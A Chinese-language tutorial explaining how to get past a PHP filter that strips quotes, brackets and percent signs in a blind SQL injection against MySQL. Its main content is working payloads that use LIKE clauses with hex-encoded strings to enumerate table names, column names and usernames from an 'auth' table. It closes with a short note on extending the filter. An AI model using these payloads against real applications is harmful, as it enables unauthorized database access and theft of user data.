常规特殊字符被过滤的一种绕过技巧
今天来分享一个绕过过滤比如 ' " ( ) % 等字符的场景,测试环境为 PHP+Mysql 假设场景php 代码通过 HTTP GET 参数 param1 接收用户输入的内容,然后经过自定义的过滤函数 input-filter 过滤可能导致 SQL 注入的特殊字符。 在 SQL 查询中,用户数据($user_input)作为列名插入到查询语句中,比如: $query = mysqli_query($connection,"SELECT $user_input,time FROM stats WHERE depth = '$depth' ORDER BY times ASC"); 应用程序代码执行 SQL 语句后,不会在页面上输出任何内容,那么就无法使用联合查询的技术来获取数据,而代码中也未使用 mysqli_error() 函数来打印错误信息,那么也无法使用报错注入的方式来回显数据。 唯一可以利用的技术就只有盲注了,而当前环境的代码中对常见的特殊字符进行了过滤,过滤列表如下: " < > = ' ( ) & @ % # ; 当我们使用机遇布尔盲注的有效载荷时,比如: from dual where true and 1< ascii ( substring ( database (),1,1 ) )经过函数过滤后,变成了: from dual where true and 1 ascii substring database ,1,1<、(、) 被过滤了 假如我们使用 URL 编码特殊字符,但是,URL 编码中都包含特殊字符 %,也是被过滤了的,比如: from dual where true and 1 %3C ascii %28 substring %28 database %28 %29 %2C 1 %2C 1 %29%29过滤后变成了: from dual where true and 1 3C ascii 28 substring 28 database 28 29 2C 1 2C 1 2929 尝试绕过基础在这种情况下,我们利用漏洞的方式是盲注,为了避免过滤特殊字符,结合 where 条件,使用带有十六进制表示的 like子句。 like 子句不仅接受单引号中的输入内容,还支持十六进制的内容: Text Hex encoded value%user% 257573657225比如: select column_name from table_name where value_in_column like '%user%'使用十六进制编码的语句: select column_name from table_name where value_in_column like 0x257573657225测试提取表名假如我们有个表名为 auth,使用 like 子句来查找该表名的第一个字符 a 的有效载荷: select table_name from information_schema.tables where table_name like 'a%' limit 0,1使用十六进制编码的 payload: select table_name from information_schema.tables where table_name like 0x6125 limit 0,1在上面的案例中,用户输入的 payload 为: table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- -后端执行的完整 SQL 语句为: select table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- - ,time FROM stats WHERE AND depth = '$depth' ORDER BY times ASC提取列名假设表 auth 中有一个列名为 username,通常情况下的查询语句为: select column_name from information_schema.columns where table_name like 'auth' and column_name like 'u%' limit 0,1采用十六进制编码后的语句为: select column_name from information_schema.columns where table_name like 0x61757468 and column_name like 0x7525 limit 0,1提取数据到目前来说已知表名 auth,列名 username,接下来利用 like 查询首字母为 a 的数据: select username from auth where username like 'a%' limit 0,1同样使用十六进制编码: select username from auth where username like 0x6125 limit 0,1总结虽然常规特殊字符被过滤了,利用起来比较复杂,但还是有一条路可以走,对于这部分绕过方式的防御,可以在过滤的关键词中再增加一些,比如 select、like 等查询关键词,还有常见的注释符,比如 -、#、/* 等。
|